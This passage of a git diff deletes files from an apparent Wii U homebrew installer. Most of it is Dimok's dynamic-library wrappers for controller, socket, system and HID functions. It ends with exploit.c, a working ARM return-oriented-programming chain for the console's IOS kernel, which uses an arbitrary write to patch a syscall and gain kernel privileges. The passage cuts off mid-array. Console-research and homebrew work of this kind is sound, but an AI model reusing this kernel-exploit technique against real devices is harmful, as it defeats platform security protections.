WPAD_PRO_STICK_L_EMULATION_LEFT 0x00040000 -#define WPAD_PRO_STICK_L_EMULATION_RIGHT 0x00080000 - -#define WPAD_PRO_STICK_R_EMULATION_UP 0x02000000 -#define WPAD_PRO_STICK_R_EMULATION_DOWN 0x01000000 -#define WPAD_PRO_STICK_R_EMULATION_LEFT 0x00400000 -#define WPAD_PRO_STICK_R_EMULATION_RIGHT 0x00800000 - -typedef struct _KPADData -{ - u32 btns_h; - u32 btns_d; - u32 btns_r; - u32 unused_1[5]; - f32 pos_x; - f32 pos_y; - u32 unused_2[3]; - f32 angle_x; - f32 angle_y; - u32 unused_3[8]; - u8 device_type; - u8 wpad_error; - u8 pos_valid; - u8 format; - - union - { - struct - { - f32 stick_x; - f32 stick_y; - } nunchuck; - - struct - { - u32 btns_h; - u32 btns_d; - u32 btns_r; - f32 lstick_x; - f32 lstick_y; - f32 rstick_x; - f32 rstick_y; - f32 ltrigger; - f32 rtrigger; - } classic; - - struct - { - u32 btns_h; - u32 btns_d; - u32 btns_r; - f32 lstick_x; - f32 lstick_y; - f32 rstick_x; - f32 rstick_y; - int charging; - int wired; - } pro; - - u32 unused_6[20]; - }; - u32 unused_7[16]; -} KPADData; -void InitPadScoreFunctionPointers(void); -void InitAcquirePadScore(void); - -typedef void (* wpad_connect_callback_t)(s32 chan, s32 status); - -extern void (* KPADInit)(void); -extern void (* WPADInit)(void); -extern s32 (* WPADProbe)(s32 chan, u32 * pad_type); -extern s32 (* WPADSetDataFormat)(s32 chan, s32 format); -extern void (* WPADEnableURCC)(s32 enable); -extern void (* WPADRead)(s32 chan, void * data); -extern s32 (* KPADRead)(s32 chan, void * data, u32 size); -extern s32 (* KPADReadEx)(s32 chan, KPADData * data, u32 size, s32 *error); -extern void (*WPADSetAutoSleepTime)(u8 time); -extern void (*WPADDisconnect)( s32 chan ); - -#ifdef __cplusplus -} -#endif - -#endif // __PAD_SCORE_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/socket_functions.c b/installer/src/dynamic_libs/socket_functions.c deleted file mode 100644 index de2c31f..0000000 --- a/installer/src/dynamic_libs/socket_functions.c +++ /dev/null @@ -1,81 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" -#include "socket_functions.h" - -u32 hostIpAddress = 0; - -unsigned int nsysnet_handle __attribute__((section(".data"))) = 0; - -EXPORT_DECL(void, socket_lib_init, void); -EXPORT_DECL(int, socket, int domain, int type, int protocol); -EXPORT_DECL(int, socketclose, int s); -EXPORT_DECL(int, connect, int s, void *addr, int addrlen); -EXPORT_DECL(int, bind, s32 s,struct sockaddr *name,s32 namelen); -EXPORT_DECL(int, listen, s32 s,u32 backlog); -EXPORT_DECL(int, accept, s32 s,struct sockaddr *addr,s32 *addrlen); -EXPORT_DECL(int, send, int s, const void *buffer, int size, int flags); -EXPORT_DECL(int, recv, int s, void *buffer, int size, int flags); -EXPORT_DECL(int, recvfrom,int sockfd, void *buf, int len, int flags,struct sockaddr *src_addr, int *addrlen); -EXPORT_DECL(int, sendto, int s, const void *buffer, int size, int flags, const struct sockaddr *dest, int dest_len); -EXPORT_DECL(int, setsockopt, int s, int level, int optname, void *optval, int optlen); -EXPORT_DECL(char *, inet_ntoa, struct in_addr in); -EXPORT_DECL(int, inet_aton, const char *cp, struct in_addr *inp); - -EXPORT_DECL(int, NSSLWrite, int connection, const void* buf, int len,int * written); -EXPORT_DECL(int, NSSLRead, int connection, const void* buf, int len,int * read); -EXPORT_DECL(int, NSSLCreateConnection, int context, const char* host, int hotlen,int options,int sock,int block); - -void InitAcquireSocket(void) -{ - OSDynLoad_Acquire("nsysnet.rpl", &nsysnet_handle); -} - -void InitSocketFunctionPointers(void) -{ - unsigned int *funcPointer = 0; - - InitAcquireSocket(); - - OS_FIND_EXPORT(nsysnet_handle, socket_lib_init); - OS_FIND_EXPORT(nsysnet_handle, socket); - OS_FIND_EXPORT(nsysnet_handle, socketclose); - OS_FIND_EXPORT(nsysnet_handle, connect); - OS_FIND_EXPORT(nsysnet_handle, bind); - OS_FIND_EXPORT(nsysnet_handle, listen); - OS_FIND_EXPORT(nsysnet_handle, accept); - OS_FIND_EXPORT(nsysnet_handle, send); - OS_FIND_EXPORT(nsysnet_handle, recv); - OS_FIND_EXPORT(nsysnet_handle, recvfrom); - OS_FIND_EXPORT(nsysnet_handle, sendto); - OS_FIND_EXPORT(nsysnet_handle, setsockopt); - OS_FIND_EXPORT(nsysnet_handle, inet_ntoa); - OS_FIND_EXPORT(nsysnet_handle, inet_aton); - - OS_FIND_EXPORT(nsysnet_handle, NSSLWrite); - OS_FIND_EXPORT(nsysnet_handle, NSSLRead); - OS_FIND_EXPORT(nsysnet_handle, NSSLCreateConnection); - - socket_lib_init(); -} diff --git a/installer/src/dynamic_libs/socket_functions.h b/installer/src/dynamic_libs/socket_functions.h deleted file mode 100644 index 1e4df1a..0000000 --- a/installer/src/dynamic_libs/socket_functions.h +++ /dev/null @@ -1,108 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __SOCKET_FUNCTIONS_H_ -#define __SOCKET_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -extern unsigned int nsysnet_handle; - -#include - -#define INADDR_ANY 0 - -#define AF_INET 2 - -#define SOCK_STREAM 1 -#define SOCK_DGRAM 2 - -#define IPPROTO_IP 0 -#define IPPROTO_TCP 6 -#define IPPROTO_UDP 17 - -#define TCP_NODELAY 0x2004 - -#define SOL_SOCKET -1 -#define SO_REUSEADDR 0x0004 -#define SO_NONBLOCK 0x1016 -#define SO_MYADDR 0x1013 -#define SO_RCVTIMEO 0x1006 - -#define SOL_SOCKET -1 -#define MSG_DONTWAIT 32 - -#define htonl(x) x -#define htons(x) x -#define ntohl(x) x -#define ntohs(x) x - - -struct in_addr { - unsigned int s_addr; -}; -struct sockaddr_in { - short sin_family; - unsigned short sin_port; - struct in_addr sin_addr; - char sin_zero[8]; -}; - -struct sockaddr -{ - unsigned short sa_family; - char sa_data[14]; -}; - - -void InitSocketFunctionPointers(void); -void InitAcquireSocket(void); - -extern void (*socket_lib_init)(void); -extern int (*socket)(int domain, int type, int protocol); -extern int (*socketclose)(int s); -extern int (*connect)(int s, void *addr, int addrlen); -extern int (*bind)(s32 s,struct sockaddr *name,s32 namelen); -extern int (*listen)(s32 s,u32 backlog); -extern int (*accept)(s32 s,struct sockaddr *addr,s32 *addrlen); -extern int (*send)(int s, const void *buffer, int size, int flags); -extern int (*recv)(int s, void *buffer, int size, int flags); -extern int (*recvfrom)(int sockfd, void *buf, int len, int flags,struct sockaddr *src_addr, int *addrlen); - -extern int (*sendto)(int s, const void *buffer, int size, int flags, const struct sockaddr *dest, int dest_len); -extern int (*setsockopt)(int s, int level, int optname, void *optval, int optlen); - -extern int (* NSSLWrite)(int connection, const void* buf, int len,int * written); -extern int (* NSSLRead)(int connection, const void* buf, int len,int * read); -extern int (* NSSLCreateConnection)(int context, const char* host, int hotlen,int options,int sock,int block); - -extern char * (*inet_ntoa)(struct in_addr in); -extern int (*inet_aton)(const char *cp, struct in_addr *inp); - -#ifdef __cplusplus -} -#endif - -#endif // __SOCKET_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/sys_functions.c b/installer/src/dynamic_libs/sys_functions.c deleted file mode 100644 index 2cd44b8..0000000 --- a/installer/src/dynamic_libs/sys_functions.c +++ /dev/null @@ -1,51 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" - - unsigned int sysapp_handle __attribute__((section(".data"))) = 0; - -EXPORT_DECL(int, _SYSLaunchTitleByPathFromLauncher, const char* path, int len, int zero); -EXPORT_DECL(int, SYSRelaunchTitle, int argc, char** argv); -EXPORT_DECL(int, SYSLaunchMenu, void); -EXPORT_DECL(int, SYSCheckTitleExists, u64 titleId); -EXPORT_DECL(int, SYSLaunchTitle, u64 titleId); -EXPORT_DECL(int, SYSLaunchSettings, int unk); - -void InitAcquireSys(void) -{ - OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); -} - -void InitSysFunctionPointers(void) -{ - unsigned int *funcPointer = 0; - InitAcquireSys(); - - OS_FIND_EXPORT(sysapp_handle, _SYSLaunchTitleByPathFromLauncher); - OS_FIND_EXPORT(sysapp_handle, SYSRelaunchTitle); - OS_FIND_EXPORT(sysapp_handle, SYSLaunchMenu); - OS_FIND_EXPORT(sysapp_handle, SYSCheckTitleExists); - OS_FIND_EXPORT(sysapp_handle, SYSLaunchTitle); - OS_FIND_EXPORT(sysapp_handle, SYSLaunchSettings); -} diff --git a/installer/src/dynamic_libs/sys_functions.h b/installer/src/dynamic_libs/sys_functions.h deleted file mode 100644 index 64fc2c7..0000000 --- a/installer/src/dynamic_libs/sys_functions.h +++ /dev/null @@ -1,48 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __SYS_FUNCTIONS_H_ -#define __SYS_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -extern unsigned int sysapp_handle; - -void InitSysFunctionPointers(void); -void InitAcquireSys(void); - -extern int(*_SYSLaunchTitleByPathFromLauncher)(const char* path, int len, int zero); -extern int (* SYSRelaunchTitle)(int argc, char** argv); -extern int (* SYSLaunchMenu)(void); -extern int (* SYSCheckTitleExists)(u64 titleId); -extern int (* SYSLaunchTitle)(u64 titleId); -extern int (* SYSLaunchSettings)(int unk); - - -#ifdef __cplusplus -} -#endif - -#endif // __SYS_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/syshid_functions.c b/installer/src/dynamic_libs/syshid_functions.c deleted file mode 100644 index 996d39d..0000000 --- a/installer/src/dynamic_libs/syshid_functions.c +++ /dev/null @@ -1,78 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" -#include "syshid_functions.h" - -unsigned int syshid_handle __attribute__((section(".data"))) = 0; - -EXPORT_DECL(int, HIDSetup,void); -EXPORT_DECL(int, HIDTeardown,void); - -EXPORT_DECL(int, HIDAddClient,HIDClient *p_client, HIDAttachCallback attach_callback); -EXPORT_DECL(int, HIDDelClient,HIDClient *p_client); - -EXPORT_DECL(int, HIDGetDescriptor,unsigned int handle,u8 descriptor_type,u8 descriptor_index, u16 language_id, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); -EXPORT_DECL(int, HIDSetDescriptor,unsigned int handle,u8 descriptor_type,u8 descriptor_index, u16 language_id, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); - -EXPORT_DECL(int, HIDSetProtocol,unsigned int handle,u8 interface_index,u8 protocol, HIDCallback hc, void *p_user); -EXPORT_DECL(int, HIDGetProtocol,unsigned int handle,u8 interface_index,u8 * protocol, HIDCallback hc, void *p_user); - -EXPORT_DECL(int, HIDGetReport,u32 handle, u8 report_type, u8 report_id, u8 *p_buffer, u32 buffer_length, HIDCallback hc, void *p_user); -EXPORT_DECL(int, HIDSetReport,u32 handle, u8 report_type, u8 report_id, u8 *p_buffer, u32 buffer_length, HIDCallback hc, void *p_user); - -EXPORT_DECL(int, HIDSetIdle,unsigned int handle, u8 interface_index,u8 duration, HIDCallback hc, void *p_user); - -EXPORT_DECL(int, HIDRead,unsigned int handle, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); -EXPORT_DECL(int, HIDWrite,unsigned int handle, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); - -void InitAcquireSysHID(void) -{ - OSDynLoad_Acquire("nsyshid.rpl", &syshid_handle); -} - -void InitSysHIDFunctionPointers(void) -{ - InitAcquireSysHID(); - - if(syshid_handle == 0){ - return; - } - - unsigned int funcPointer = 0; - - //! assigning those is not mandatory and it does not always work to load them - OS_FIND_EXPORT(syshid_handle, HIDSetup); - OS_FIND_EXPORT(syshid_handle, HIDTeardown); - OS_FIND_EXPORT(syshid_handle, HIDAddClient); - OS_FIND_EXPORT(syshid_handle, HIDDelClient); - OS_FIND_EXPORT(syshid_handle, HIDGetDescriptor); - OS_FIND_EXPORT(syshid_handle, HIDSetDescriptor); - OS_FIND_EXPORT(syshid_handle, HIDRead); - OS_FIND_EXPORT(syshid_handle, HIDWrite); - OS_FIND_EXPORT(syshid_handle, HIDSetProtocol); - OS_FIND_EXPORT(syshid_handle, HIDGetProtocol); - OS_FIND_EXPORT(syshid_handle, HIDSetIdle); - OS_FIND_EXPORT(syshid_handle, HIDGetReport); - OS_FIND_EXPORT(syshid_handle, HIDSetReport); -} diff --git a/installer/src/dynamic_libs/syshid_functions.h b/installer/src/dynamic_libs/syshid_functions.h deleted file mode 100644 index 08213b4..0000000 --- a/installer/src/dynamic_libs/syshid_functions.h +++ /dev/null @@ -1,90 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __SYSHID_FUNCTIONS_H_ -#define __SYSHID_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -extern unsigned int syshid_handle; - -typedef struct -{ - unsigned int handle; - unsigned int physical_device_inst; - unsigned short vid; - unsigned short pid; - unsigned char interface_index; - unsigned char sub_class; - unsigned char protocol; - - unsigned short max_packet_size_rx; - unsigned short max_packet_size_tx; - -} HIDDevice; - -typedef struct _HIDClient HIDClient; - -#define HID_DEVICE_DETACH 0 -#define HID_DEVICE_ATTACH 1 - -typedef int (*HIDAttachCallback)(HIDClient *p_hc,HIDDevice *p_hd,unsigned int attach); - -struct _HIDClient -{ - HIDClient *next; - HIDAttachCallback attach_cb; -}; - -typedef void (*HIDCallback)(unsigned int handle,int error,unsigned char *p_buffer,unsigned int bytes_transferred,void *p_user); - -void InitSysHIDFunctionPointers(void); -void InitAcquireSysHID(void); - -extern int(*HIDSetup)(void); -extern int(*HIDTeardown)(void); - -extern int(*HIDAddClient)(HIDClient *p_client, HIDAttachCallback attach_callback); -extern int(*HIDDelClient)(HIDClient *p_client); - -extern int(*HIDGetDescriptor)(unsigned int handle,u8 descriptor_type,u8 descriptor_index, u16 language_id, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); -extern int(*HIDSetDescriptor)(unsigned int handle,u8 descriptor_type,u8 descriptor_index, u16 language_id, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); - -extern int(*HIDGetReport)(u32 handle, u8 report_type, u8 report_id, u8 *p_buffer, u32 buffer_length, HIDCallback hc, void *p_user); -extern int(*HIDSetReport)(u32 handle, u8 report_type, u8 report_id, u8 *p_buffer, u32 buffer_length, HIDCallback hc, void *p_user); - -extern int(*HIDSetIdle)(unsigned int handle, u8 interface_index,u8 duration, HIDCallback hc, void *p_user); - -extern int(* HIDSetProtocol)(unsigned int handle,u8 interface_index,u8 protocol, HIDCallback hc, void *p_user); -extern int(* HIDGetProtocol)(unsigned int handle,u8 interface_index,u8 * protocol, HIDCallback hc, void *p_user); - -extern int(*HIDRead)(unsigned int handle, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); -extern int(*HIDWrite)(unsigned int handle, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); - -#ifdef __cplusplus -} -#endif - -#endif // __SYSHID_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/vpad_functions.c b/installer/src/dynamic_libs/vpad_functions.c deleted file mode 100644 index 201cf34..0000000 --- a/installer/src/dynamic_libs/vpad_functions.c +++ /dev/null @@ -1,55 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" -#include "vpad_functions.h" - -unsigned int vpad_handle __attribute__((section(".data"))) = 0; -unsigned int vpadbase_handle __attribute__((section(".data"))) = 0; - -EXPORT_DECL(void, VPADInit, void); -EXPORT_DECL(int, VPADRead, int chan, VPADData *buffer, u32 buffer_size, s32 *error); -EXPORT_DECL(int, VPADGetLcdMode, int padnum, int *lcdmode); -EXPORT_DECL(int, VPADSetLcdMode, int padnum, int lcdmode); -EXPORT_DECL(int, VPADBASEGetMotorOnRemainingCount, int padnum); -EXPORT_DECL(int, VPADBASESetMotorOnRemainingCount, int padnum, int counter); - -void InitAcquireVPad(void) -{ - OSDynLoad_Acquire("vpad.rpl", &vpad_handle); - OSDynLoad_Acquire("vpadbase.rpl", &vpadbase_handle); -} - -void InitVPadFunctionPointers(void) -{ - unsigned int *funcPointer = 0; - - InitAcquireVPad(); - - OS_FIND_EXPORT(vpad_handle, VPADInit); - OS_FIND_EXPORT(vpad_handle, VPADRead); - OS_FIND_EXPORT(vpad_handle, VPADGetLcdMode); - OS_FIND_EXPORT(vpad_handle, VPADSetLcdMode); - OS_FIND_EXPORT(vpadbase_handle, VPADBASEGetMotorOnRemainingCount); - OS_FIND_EXPORT(vpadbase_handle, VPADBASESetMotorOnRemainingCount); -} diff --git a/installer/src/dynamic_libs/vpad_functions.h b/installer/src/dynamic_libs/vpad_functions.h deleted file mode 100644 index 4fafda2..0000000 --- a/installer/src/dynamic_libs/vpad_functions.h +++ /dev/null @@ -1,114 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __VPAD_FUNCTIONS_H_ -#define __VPAD_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -extern unsigned int vpad_handle; -extern unsigned int vpadbase_handle; - -#include - -#define VPAD_BUTTON_A 0x8000 -#define VPAD_BUTTON_B 0x4000 -#define VPAD_BUTTON_X 0x2000 -#define VPAD_BUTTON_Y 0x1000 -#define VPAD_BUTTON_LEFT 0x0800 -#define VPAD_BUTTON_RIGHT 0x0400 -#define VPAD_BUTTON_UP 0x0200 -#define VPAD_BUTTON_DOWN 0x0100 -#define VPAD_BUTTON_ZL 0x0080 -#define VPAD_BUTTON_ZR 0x0040 -#define VPAD_BUTTON_L 0x0020 -#define VPAD_BUTTON_R 0x0010 -#define VPAD_BUTTON_PLUS 0x0008 -#define VPAD_BUTTON_MINUS 0x0004 -#define VPAD_BUTTON_HOME 0x0002 -#define VPAD_BUTTON_SYNC 0x0001 -#define VPAD_BUTTON_STICK_R 0x00020000 -#define VPAD_BUTTON_STICK_L 0x00040000 -#define VPAD_BUTTON_TV 0x00010000 - -#define VPAD_STICK_R_EMULATION_LEFT 0x04000000 -#define VPAD_STICK_R_EMULATION_RIGHT 0x02000000 -#define VPAD_STICK_R_EMULATION_UP 0x01000000 -#define VPAD_STICK_R_EMULATION_DOWN 0x00800000 - -#define VPAD_STICK_L_EMULATION_LEFT 0x40000000 -#define VPAD_STICK_L_EMULATION_RIGHT 0x20000000 -#define VPAD_STICK_L_EMULATION_UP 0x10000000 -#define VPAD_STICK_L_EMULATION_DOWN 0x08000000 - -//! Own definitions -#define VPAD_BUTTON_TOUCH 0x00080000 -#define VPAD_MASK_EMULATED_STICKS 0x7F800000 -#define VPAD_MASK_BUTTONS ~VPAD_MASK_EMULATED_STICKS - -typedef struct -{ - f32 x,y; -} Vec2D; - -typedef struct -{ - u16 x, y; /* Touch coordinates */ - u16 touched; /* 1 = Touched, 0 = Not touched */ - u16 invalid; /* 0 = All valid, 1 = X invalid, 2 = Y invalid, 3 = Both invalid? */ -} VPADTPData; - -typedef struct -{ - u32 btns_h; /* Held buttons */ - u32 btns_d; /* Buttons that are pressed at that instant */ - u32 btns_r; /* Released buttons */ - Vec2D lstick, rstick; /* Each contains 4-byte X and Y components */ - char unknown1c[0x52 - 0x1c]; /* Contains accelerometer and gyroscope data somewhere */ - VPADTPData tpdata; /* Normal touchscreen data */ - VPADTPData tpdata1; /* Modified touchscreen data 1 */ - VPADTPData tpdata2; /* Modified touchscreen data 2 */ - char unknown6a[0xa0 - 0x6a]; - uint8_t volume; - uint8_t battery; /* 0 to 6 */ - uint8_t unk_volume; /* One less than volume */ - char unknowna4[0xac - 0xa4]; -} VPADData; - -void InitVPadFunctionPointers(void); -void InitAcquireVPad(void); - -extern int (* VPADRead)(int chan, VPADData *buffer, u32 buffer_size, s32 *error); -extern int (* VPADGetLcdMode)(int padnum, int *lcdmode); -extern int (* VPADSetLcdMode)(int padnum, int lcdmode); -extern void (* VPADInit)(void); -extern int (* VPADBASEGetMotorOnRemainingCount)(int lcdmode); -extern int (* VPADBASESetMotorOnRemainingCount)(int lcdmode,int counter); - -#ifdef __cplusplus -} -#endif - -#endif // __VPAD_FUNCTIONS_H_ diff --git a/installer/src/entry.c b/installer/src/entry.c deleted file mode 100644 index 94cbae2..0000000 --- a/installer/src/entry.c +++ /dev/null @@ -1,13 +0,0 @@ -#include -#include "dynamic_libs/os_functions.h" -#include "dynamic_libs/sys_functions.h" -#include "common/common.h" -#include "main.h" - -int __entry_menu(int argc, char **argv) -{ - //! ******************************************************************* - //! * Jump to our application * - //! ******************************************************************* - return Menu_Main(); -} diff --git a/installer/src/exploit.c b/installer/src/exploit.c deleted file mode 100644 index e600b9e..0000000 --- a/installer/src/exploit.c +++ /dev/null @@ -1,349 +0,0 @@ -#include -#include -#include "dynamic_libs/os_functions.h" -#include "exploit.h" - -#define CHAIN_START 0x1016AD40 -#define SHUTDOWN 0x1012EE4C -#define SIMPLE_RETURN 0x101014E4 -#define SOURCE 0x01E20000 -#define IOS_CREATETHREAD 0x1012EABC -#define ARM_CODE_BASE 0x08134100 -#define REPLACE_SYSCALL 0x081298BC - -/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */ -#include "arm_kernel_bin.h" -#include "arm_user_bin.h" - -/* ROP CHAIN STARTS HERE (0x1015BD78) */ -static const int final_chain[] = { - 0x101236f3, // 0x00 POP {R1-R7,PC} - 0x0, // 0x04 arg - 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR - 0x68, // 0x0C stacksize - 0x10101638, // 0x10 - 0x0, // 0x14 - 0x0, // 0x18 - 0x0, // 0x1C - 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} - 0x0, // 0x24 - 0x0, // 0x28 - 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x30 - 0x0, // 0x34 - IOS_CREATETHREAD, // 0x38 - 0x1, // 0x3C - 0x2, // 0x40 - 0x10123a9f, // 0x44 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE92D4010, // 0x4C value: PUSH {R4,LR} - 0x0, // 0x50 - 0x10123a8b, // 0x54 POP {R3,R4,PC} - 0x1, // 0x58 R3 must be 1 for the arbitrary write - 0x0, // 0x5C - 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x64 - 0x0, // 0x68 - 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) - 0x0, // 0x70 - 0x0, // 0x74 - 0x10123a9f, // 0x78 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE1A04000, // 0x80 value: MOV R4, R0 - 0x0, // 0x84 - 0x10123a8b, // 0x88 POP {R3,R4,PC} - 0x1, // 0x8C R3 must be 1 for the arbitrary write - 0x0, // 0x90 - 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x98 - 0x0, // 0x9C - 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) - 0x0, // 0xA4 - 0x0, // 0xA8 - 0x10123a9f, // 0xAC POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF - 0x0, // 0xB8 - 0x10123a8b, // 0xBC POP {R3,R4,PC} - 0x1, // 0xC0 R3 must be 1 for the arbitrary write - 0x0, // 0xC4 - 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0xCC - 0x0, // 0xD0 - 0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) - 0x0, // 0xD8 - 0x0, // 0xDC - 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) - 0x0, // 0xEC - 0x10123a8b, // 0xF0 POP {R3,R4,PC} - 0x1, // 0xF4 R3 must be 1 for the arbitrary write - 0x0, // 0xF8 - 0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x100 - 0x0, // 0x104 - 0x1012EE64, // 0x108 set_panic_behavior (arbitrary write) - 0x0, // 0x10C - 0x0, // 0x110 - 0x10123a9f, // 0x114 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE1A00004, // 0x11C value: MOV R0, R4 - 0x0, // 0x120 - 0x10123a8b, // 0x124 POP {R3,R4,PC} - 0x1, // 0x128 R3 must be 1 for the arbitrary write - 0x0, // 0x12C - 0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x134 - 0x0, // 0x138 - 0x1012EE64, // 0x13C 